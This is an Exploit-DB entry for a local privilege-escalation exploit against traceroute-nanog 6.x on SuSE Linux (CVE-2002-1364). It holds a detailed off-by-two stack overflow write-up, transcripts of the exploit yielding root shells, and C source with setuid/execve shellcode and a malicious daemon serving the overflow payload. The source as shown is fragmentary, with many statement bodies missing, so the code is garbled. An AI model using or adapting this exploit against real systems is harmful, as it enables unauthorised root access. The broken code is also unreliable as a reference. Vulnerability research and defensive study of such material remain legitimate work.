Traceroute-nanog 6 - Local Buffer Overflow Vulnerability

ID EDB-ID:22014
Type exploitdb
Reporter Carl Livitt
Modified 2002-11-12T00:00:00


Traceroute-nanog 6 Local Buffer Overflow Vulnerability. CVE-2002-1364. Local exploit for linux platform


A vulnerability has been discovered in Traceroute-nanog. It has been reported that Traceroute-nanog contains a buffer overflow condition.

The overflow occurs in the 'get_origin()' function in the 'traceroute.c' file. Due to insufficient bounds checking performed by the whois parser, it may be possible to cause 'get_origin()' to corrupt memory on the system stack.

This vulnerability can be exploited by an attacker to gain root privileges on a target host. 


---[ Traceroute-nanog 6.0 -> 6.1.1 exploit ]---

By Carl Livitt (

Exploits a stack overflow in get_origin() function of traceroute.c to gain r00t.
Tested on SuSE 7.1, 7.2, 7.3 & 8.0, but should work on 7.0 and 6.x.

There are lots more overflows in this traceroute implementation... mostly heap
overflows I think. Have a look, have some fun.

---[ About this exploit ]---

Traceroute-nanog can do WHOIS-like DNS lookups at each hop and find the admin email address
for each IP. It is possible to set environment variables to tell traceroute
the IP and port number of your own custom DNS server.

Unfortunately, traceroute fails to error-check the returned records, making it possible
to trick it into causing a stack overflow (but with limitations).

My technique was to write my own malicious server that would inject a carefully
crafted response to traceroute's query, triggering the overflow and letting
me obtain local r00t access.

---[ More Info ]---

When get_origin() is called, the stack looks like this:

 char buf[256]     tmp4[100] tmp3[100] tmp2[100]  tmp1[100] EBP EIP 
[bbbbbbbbbbbbbbbbbb44444444443333333333222222222221111111111BBBBIIII] -> 0xbfffffff

There is an 8k buffer called 'reply' on the heap. Its purpose is to hold the entire
reply from the  server. It is populated by repeated calls to read(2), each call
reading 256 bytes into buf[] which are then concatenated into reply[]. Incedentally, 
no bounds checking is done on reply[], making it possible to cause a heap overflow:

count = 0;
        while ((n = read(s, buf, sizeof(buf))) > 0) {
            strcpy((char *)&reply[count],(char *)buf);
            count += n;

After reading the entire reply into reply[], get_origin() then parses the contents;
this is where the lack of bounds checking becomes apparent:

rp = (char *)reply; 

        rp = (char *)strstr(rp,tmp2);   
        while (rp != 0) {               
           pp = (char *)strstr(rp,tmp3);        
           if (pp == 0) {               
              prefix = 0;               
           } else {
              prefix = atoi(pp+1);      

           if (prefix >= best_prefix) { 
              i = (char *)strstr(pp,tmp);       
              if (i != 0) {                     
                 i += strlen(DATA_DELIMITER);   
                 while (*i == ' ') i++;         
                 j = i;                         
                 while (*j >= '0') j++;	// CHAR FILTERING
                 if (prefix > best_prefix) {
                    best_prefix = prefix;               
                 } else {
                 strncpy(tmp4,i,(j-i)); // OVERFLOW
                 tmp4[j-i] = '\0';              
                 if (!(strstr(origin,tmp4))) {  
                 } else {
                    if (prefix == best_prefix)  
                       origin[strlen(origin)-1] = '\0';
           rp = (char *)strstr(rp+1,tmp2);      

get_origin() finds the word 'route:' in reply[], then reads the number that follows 
it. If the number is greater than best_prefix (zero), then get_origin() continues to 
parse the reply[] buffer. It sets two pointers (*i, *j) to just past the location of 
the string 'origin:', and then increments *j until a character < ASCII '0' is found. 

So, *i marks the start of the buffer to copy into tmp4[] and *j marks the end of the
buffer. Because tmp4[] is 100 bytes long and it is possible to construct a reply of 
arbitrary length, it is trivial to overflow tmp4[], tmp3[], tmp2[] and tmp1[], over-
writing values on the stack.

To exploit this overflow is not quite that simple, however. To redirect the flow of
execution, the EIP saved on the stack needs to be overwritten with a value such as
0xbfff4567; the problem is that while the chars 0x67 and 0x45 pass the filter
mentioned above (*j >='0'), the chars 0xbf and 0xff do not (j is of type 'char'. Valid
values that pass through the filter are 0x30 -> 0x7f). If 0xffbf was to be embedded 
into the reply[] buffer as part of the overflow data, processing of the reply would 
stop and the tmp4[] buffer would not be overflowed.

This means that we cannot directly affect EIP. That leaves EBP. Again we face the same
problem: we can only overwrite EBP with values in the range 0x30 -> 0x7f.... and one
other: NULL (0x00). The NULL byte cannot pass through the filter if placed there by an
attacker, but it doesn't matter because get_origin() NULL-terminates the tmp4[] buffer
for us.

So, it is possible to do an off-by-one attack (or off-by-two; more on that later) by
using the NULL byte to overflow the least-significant byte of the saved EBP. There's
only one more problem to overcome: we still need to get a malicious EIP value onto the
stack somewhere it can be reached via an off-by-one attack. However, we can't place
the EIP into the exploit buffer, because the 0xbfffxxxx will not pass through the filter.
Luckily, the reply[] buffer is populated by copying from the stack to the heap via the
buf[] buffer in 256 bytes chunks until there is no more data to copy. We can (ab)use 
this behaviour by writing the exact amount of data into reply[] (via buf[]) that is
needed to cause the overflow, then write a value less than '0' which will stop 
get_origin() processing the exploit buffer and then we can write as many bytes as we
like into buf[] (up to 256) _of any value we like_.

All of this can be put together to form an exploit string that will overflow EBP, 
fill buf[] with our evil EIP and let us execute arbitrary shellcode (stored in an
environment variable on the stack).

The trouble with this technique is that an off-by-one exploit only gives us one
possible location on the stack to find our evil EIP (remember, it's in buf[]). It
is not possible to reach _any_ address in buf[] using an off-by-one because buf[] is
located too far away on the stack. Even by padding out the stack with environment
variables to alter ESP doesn't work: we can't reach buf[]. However, it IS possible
to use an off-by-two attack:

0xbffffabc becomes 0xbffffa00

0xbffffabc becomes 0xbfff00nn where nn is any value in range 0x30 -> 0x7f.

Aha! Now we've got a lot more flexibility in how we can reach buf[], and thus EIP.
All that is needed is to pad the stack by about 64K so that buf[] is located near
0xbfff00nn. This is accomplished by using an enormous environment variable to hold
our shellcode... in the exploit code I use about 64K of NOPs to do the trick. This
has the added bonus that it's difficult to miss 64K of NOPs when jumping to shellcode!

This exploit was very interesting to write. A couple of times I threw my hands up in
disgust as I thought it was not going to be possible to execute shellcode... but it
just goes to show what a little coffee and lateral thinking can do. 

---[ Usage ]---

First, you must start the malicious daemon that will answer traceroute's query. It 
can run on the same machine as you are exploiting, or on a different one... it makes
no difference. Then, you run the exploit which will start traceroute with the 
correct environment variables to cause the overflow:

Example 1:

carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -d
Now run this exploit with the '-e' flag.
carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e
traceroute to (, 30 hops max, 40 byte packets
 1 sh-2.05# id
uid=0(root) gid=100(users) groups=100(users)

Example 2:

carl@testingserver:/tmp > /sbin/ifconfig eth0 |grep inet
          inet addr:  Bcast:  Mask:
carl@testingserver:/tmp > ./traceroute-exploit -d
Now run this exploit with the '-e' flag.

carl@titan:~/exploits/nanog-6.1.1 > ./traceroute-exploit -e -s
traceroute to (, 30 hops max, 40 byte packets
 1 sh-2.05# id
uid=0(root) gid=100(users) groups=100(users),102(wwwrun)

Note that you _must_ run this exploit in '-d' (daemon) mode first, otherwise the
traceroute will just run as normal and you'll never be able to exploit it.

---[ Thats all folks ]---

Maybe this exploit has bugs, maybe not. Who knows for sure? Who cares, it's an
exploit that does what I needed and no more. Maybe I'll spend time refining it

On that note, if you make any additions/bugfixes/changes, then please mail copies
of the source back to me... thanks.

Have a nice r00t,

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <malloc.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define _GNU_SOURCE
#include <getopt.h>

// Sensible defaults that work on SuSE 7.x & 8.0 (possibly others)
#define BUFSIZE 64128
#define RA_SERVER "localhost"
#define RA_SERVICE "ap"
#define TRACEROUTE "/usr/sbin/traceroute"
#define FLAGS "-nOA"
#define TRACE_HOST ""
#define NOT_SET 0
#define DAEMON 1
#define EXPLOIT 2
#define EXPLOIT_START "xxxxroute: /1 origin:111"
#define RET_ADDR 0xbfff4444

void do_daemon(char *service);
void run_daemon(char *service);

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0)
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"; // aleph1 execve() of /bin/sh

char usage[] =
"\ntraceroute-exploit - By Carl Livitt (\n"
"Exploits traceroute-nanog 6.0 -> 6.1.1 and others on SuSE 7.x/8.0\n\n"
"      ./traceroute-exploit < -d | -e > [ options ]\n\n"
"-d             Run in daemon mode (stage 1)\n"
"-e             Run in exploit mode (stage 2)\n"
"-h             Display this help\n"
"-H host        Traceroute to 'host' []\n"
"-s server      Specify host running exploit daemon [localhost]\n"
"-S service     Name of service port on exploit daemon host [ap]\n"
"               ap = port 47806/tcp (see /etc/services)\n"
"-t filename    Full path to traceroute binary [/usr/sbin/traceroute]\n"
"-b bufsize     Size of shellcode buffer [64128]\n"
"-v             Be verbose\n\n"
"Example (works on SuSE 7.x/8.0):\n"
"      ./traceroute-exploit -d\n"
"      ./traceroute-exploit -e\n\n"
"Example 2 (uses mysql port(3306)):\n"
"      ./traceroute-exploit -d -S mysql\n"
"      ./traceroute-exploit -e -S mysql\n\n";

extern char *optarg;
extern int optind, opterr, optopt;

main(int argc, char **argv) {
        char *env[4];
        char *traceroute[4];
        char host[256], server[256], service[256],filename[256];
        int bufsize, verbose=0;
        int c,exploitMode=NOT_SET;
        char *buf;
        char tmp[256];

		// some sensible defaults that work out-of-the-box
        strncpy(host, TRACE_HOST, 255);
        strncpy(server, RA_SERVER, 255);
        strncpy(service, RA_SERVICE, 255);
        strncpy(filename, TRACEROUTE, 255);

        // process command-line args
		while((c=getopt(argc,argv,"vdehH:s:S:t:b:"))!=-1) {
                switch(c) {
                        case 'd':
                        case 'e':
                        case 'v':
                        case 'H':
                        case 'h':
                        case 's':
                        case 'S':
                        case 't':
                        case 'b':
		// make sure the attacker knows what he/she/cowboyneal is doing
		if(exploitMode==NOT_SET) {
                printf("You must specify at least '-d' or '-e'. Type '%s -h' for help.\n", argv[0]);

		// run the malicious, evil daemon and return the attacker to a shell.
        if(exploitMode==DAEMON) {
                // this function will never return.

        // Now run traceroute, making it connect to the malicious daemon.
		// Allocate our shellcode buffer.
		// This buffer pads the stack by about 64K
		// which makes the off-by-two attack possible
		if((buf=(char *)malloc(bufsize))==NULL) {
                perror("Out of memory??!??!?!?: ");

        // fill buffer with NOPs

        // start the environment variable

        // fill end of buffer with shellcode
        memcpy(buf+bufsize-1-strlen(shellcode), shellcode, strlen(shellcode));

        // null-terminate

        // setup the environment etc

        // spawn traceroute and gain r00t in the process...
        execve(*traceroute, traceroute, env);

// fork, making a daemon listing of port 'service' (ap/47806 by default)
// and return to shell.
void do_daemon(char *service) {
        if(fork()==0) {
        } else {
                printf("Now run this exploit with the '-e' flag.\n");

// the daemon itself
void run_daemon(char *service) {
        int sock,victim_sock,len,i,j;
        struct sockaddr_in server_addr;
        struct sockaddr_in victim_addr;
        char buf[256];
        char exploit_string[4096]=EXPLOIT_START;
        struct servent *sv;

        // make sure the attacker has specified
		// a valid service name (eg. mysql, ftp, ap etc)		
		if((sv=getservbyname(service,"tcp"))==NULL) {
                perror("getservbyname(): ");

        // some magic-number voodoo...
        // exploit_string will cause an off-by-two overflow in get_origin()
		// exploit_string:0   'xxxxroute: /1 origin:111'	# tags used by get_origin()
		// exploit_string:24  'a' x 398						# dummy data
		// exploit_string:422 '\x7f'						# least-significant byte of EBP
		// exploit_string:423 '\x01'						# char < '0' to stop processing
		// exploit_string:424 '\x44\x44\xff\xbb' x 104		# evil EIP containing shellcode
		// exploit_string:528 '\0'							# NULL terminator
        memset(exploit_string+24, '\0', 4096-1-24);
        memset(exploit_string+24, 'a', 398);
        memset(exploit_string+24+398, '\x7f', 1);

        // the next byte stops get_origin from processing
        // any more of the exploit string.
        memset(exploit_string+24+399,'\x01', 4);

        // now we can fill buf[256] with our evil EIP
        // and bypass the filtering in get_origin(). Yay!
		// More magic numbers...
        while(i<j) {

        // setup TCP socket
		if((sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1) {
                perror("socket(): ");
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = INADDR_ANY;
        server_addr.sin_port = sv->s_port;

        if((bind(sock, (struct sockaddr *)&server_addr, len))<0) {
                perror("bind(): ");
        if((listen(sock, 1))!=0) {
                perror("listen(): ");
		// wait for connect from traceroute...
		victim_sock=accept(sock, (struct sockaddr *)&victim_addr, &len);
		// read the IP address that traceroute sends (and ignore it)
        read(victim_sock, buf, 255);
		// write exploit string
		write(victim_sock, exploit_string, strlen(exploit_string));
		// so long and thanks for all the fish